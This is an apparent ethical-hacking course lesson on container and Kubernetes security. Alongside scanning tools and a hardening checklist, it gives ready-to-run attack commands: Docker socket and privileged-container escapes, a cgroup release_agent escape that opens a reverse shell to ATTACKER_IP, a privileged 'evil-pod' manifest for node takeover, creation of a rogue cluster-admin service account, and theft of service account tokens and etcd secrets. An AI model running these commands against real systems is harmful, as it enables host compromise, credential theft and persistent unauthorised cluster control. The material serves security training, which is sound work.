Skip to content
← Ethical Hacking · advanced · 14 min · 18 / 31

Container & Kubernetes Security

Docker escape techniques, Kubernetes attacks, privileged container abuse, secrets in images, and hardening.

DockerKubernetescontainer escapeK8s attacksprivileged containerpod securitycontainer security

Real-World Analogy

A container is like a prison cell — it’s supposed to keep you isolated from other prisoners (containers) and from the guards’ area (the host). A privileged container is a cell with unlocked door hinges: you can technically dismantle it from the inside.

Docker Security Fundamentals

# Check if you're inside a container
cat /proc/1/cgroup | grep docker      # has docker IDs
ls /.dockerenv                         # file exists in containers
cat /proc/self/status | grep "CapEff" # effective capabilities

# Container usually has limited capabilities
# CapEff: 00000000a80425fb ← normal
# CapEff: 0000003fffffffff ← privileged! (all caps)

Docker Socket Escape

The Docker socket (/var/run/docker.sock) gives full control over Docker. If mounted inside a container, you own the host.

# Check if docker socket is mounted
ls -la /var/run/docker.sock

# If it is — escape to host:
# Method 1: Mount host filesystem via Docker
docker run -v /:/host -it alpine chroot /host /bin/bash
# Now you're root on the host with full filesystem access

# Method 2: Use docker CLI inside container
docker run -it --rm --privileged --pid=host alpine nsenter -t 1 -m -u -n -i sh

# Method 3: curl Docker API directly
curl --unix-socket /var/run/docker.sock http://localhost/containers/json
curl --unix-socket /var/run/docker.sock \
  -X POST http://localhost/containers/create \
  -H "Content-Type: application/json" \
  -d '{"Image":"alpine","Cmd":["/bin/sh"],"HostConfig":{"Binds":["/:/host"],"Privileged":true}}'

Privileged Container Escape

# If container is privileged (--privileged flag)
# Check: cat /proc/self/status | grep CapEff → all F's

# Method 1: Mount host devices
fdisk -l                # list host disks
mount /dev/sda1 /mnt   # mount host root partition
chroot /mnt /bin/bash  # chroot into host

# Method 2: cgroups release_agent
# Create a cgroup, set release_agent to reverse shell
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/exploit" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /exploit
echo "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1" >> /exploit
chmod +x /exploit
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

Container Misconfiguration Scanning

# Trivy — image vulnerability scanner
trivy image nginx:1.18
trivy image --severity HIGH,CRITICAL myapp:latest
trivy fs /path/to/project   # scan local project

# Grype — vulnerability scanner
grype docker:nginx:1.18
grype dir:/path/to/project

# Checkov — IaC security scanner (Dockerfile, docker-compose, K8s manifests)
pip install checkov
checkov -f Dockerfile
checkov -d kubernetes/manifests/

# Docker Bench Security — CIS benchmark check
docker run --net host --pid host --userns host --cap-add audit_control \
  -v /etc:/etc:ro -v /usr/bin/containerd:/usr/bin/containerd:ro \
  -v /var/lib:/var/lib:ro -v /var/run/docker.sock:/var/run/docker.sock:ro \
  --label docker_bench_security \
  docker/docker-bench-security

Secrets in Docker Images

# Images are built in layers — even if you remove a file, it's in the layer history
docker history vulnerable-app:latest
docker save vulnerable-app:latest -o app.tar
tar xf app.tar
# Each layer is a tar — find the one with secrets

# dive — explore Docker image layers interactively
dive vulnerable-app:latest

# Find secrets in image filesystem
docker run --rm vulnerable-app:latest find / -name ".env" 2>/dev/null
docker run --rm vulnerable-app:latest find / -name "*.pem" 2>/dev/null
docker run --rm vulnerable-app:latest env | grep -i "key\|pass\|secret\|token"

# Automated secrets scanning
trufflehog docker --image vulnerable-app:latest

Kubernetes Attack Surface

Attack paths:
  External → exposed K8s API (port 6443/8080)
  Compromised pod → lateral movement via K8s API
  Misconfigured RBAC → privilege escalation
  Secrets in env vars or volumes
  Insecure images → RCE → pod → cluster escape

Kubernetes Enumeration

# kubectl basics (if you have kubeconfig)
kubectl get nodes
kubectl get pods --all-namespaces
kubectl get secrets --all-namespaces
kubectl get serviceaccounts --all-namespaces
kubectl get clusterroles,clusterrolebindings | grep -i admin

# Check your permissions
kubectl auth can-i --list
kubectl auth can-i create pods
kubectl auth can-i get secrets

# From inside a pod — service account token
cat /var/run/secrets/kubernetes.io/serviceaccount/token
cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt
cat /var/run/secrets/kubernetes.io/serviceaccount/namespace

# Use token to query API
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
curl -k https://kubernetes.default.svc:443/api/v1/namespaces/default/secrets \
  -H "Authorization: Bearer $TOKEN"

# KubeHunter — automated K8s vulnerability scanning
pip install kube-hunter
kube-hunter --remote 192.168.1.100    # external scan
kube-hunter --pod                      # from inside a pod

Kubernetes Privilege Escalation

# If you can create pods — create privileged pod to escape to host
cat > evil-pod.yaml << EOF
apiVersion: v1
kind: Pod
metadata:
  name: evil-pod
spec:
  hostPID: true
  hostNetwork: true
  containers:
  - name: evil
    image: alpine
    command: ["/bin/sh", "-c", "nsenter -t 1 -m -u -n -i sh"]
    securityContext:
      privileged: true
    volumeMounts:
    - mountPath: /host
      name: host-root
  volumes:
  - name: host-root
    hostPath:
      path: /
      type: Directory
EOF

kubectl apply -f evil-pod.yaml
kubectl exec -it evil-pod -- chroot /host /bin/bash
# Now on the node (host)

# If you can exec into existing privileged pods:
kubectl get pods --all-namespaces | grep privileged
kubectl exec -it -n kube-system kube-apiserver-master -- /bin/sh

# Service account escalation
# If SA has cluster-admin binding:
curl -k https://kubernetes.default.svc:443/api/v1/nodes \
  -H "Authorization: Bearer $TOKEN"

# Create new cluster-admin SA
kubectl create serviceaccount pwned
kubectl create clusterrolebinding pwned-admin \
  --clusterrole=cluster-admin \
  --serviceaccount=default:pwned

Kubernetes RBAC Misconfigurations

# Wildcard permissions (should never exist)
# rules:
# - apiGroups: ["*"]
#   resources: ["*"]
#   verbs: ["*"]

# Find overpermissioned accounts
kubectl get clusterrolebindings -o json | jq '.items[] | 
  select(.roleRef.name == "cluster-admin") | .subjects'

# exec privilege → container escape
# If you can exec into pods, you can escalate from privileged pods

# list/get secrets → steal credentials
kubectl get secret db-secret -o jsonpath='{.data.password}' | base64 -d

# impersonate user
kubectl get pods --as=cluster-admin
kubectl --as=system:serviceaccount:kube-system:default get secrets

etcd — The K8s Brain

# etcd stores all cluster state including secrets in base64
# If you can reach etcd directly (2379/tcp):

etcdctl --endpoints https://127.0.0.1:2379 \
  --cacert /etc/kubernetes/pki/etcd/ca.crt \
  --cert /etc/kubernetes/pki/etcd/server.crt \
  --key /etc/kubernetes/pki/etcd/server.key \
  get /registry/secrets/default/db-secret

# Output includes base64-encoded secret values
# On managed clusters (EKS, GKE): etcd is not directly accessible — still check RBAC

Container Hardening Checklist

# Security context best practices (Kubernetes)
securityContext:
  runAsNonRoot: true                # don't run as root
  runAsUser: 10000                  # specific non-root UID
  readOnlyRootFilesystem: true      # prevent writing to container FS
  allowPrivilegeEscalation: false   # block setuid and sudo
  capabilities:
    drop:
      - ALL                         # drop all Linux capabilities
    add:
      - NET_BIND_SERVICE            # only add what's needed

# Pod Security Standards (K8s 1.25+)
# Label namespace to enforce:
kubectl label namespace production pod-security.kubernetes.io/enforce=restricted

# Network Policies — deny all by default
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: deny-all
spec:
  podSelector: {}
  policyTypes:
  - Ingress
  - Egress

Real Project: KubeCTF

# Local K8s practice: kind (Kubernetes in Docker)
kind create cluster --name pwn-lab

# Vulnerable K8s scenarios:
# - Katacoda Kubernetes Security scenarios (free, browser-based)
# - HackTheBox K8s machines
# - KubeCon CTF writeups (ctftime.org)

# Deploy a misconfigured app for practice
kubectl run juiceshop --image=bkimminich/juice-shop --port=3000
kubectl expose pod juiceshop --type=NodePort --port=3000
# Attack the app, escape the container, pivot to cluster admin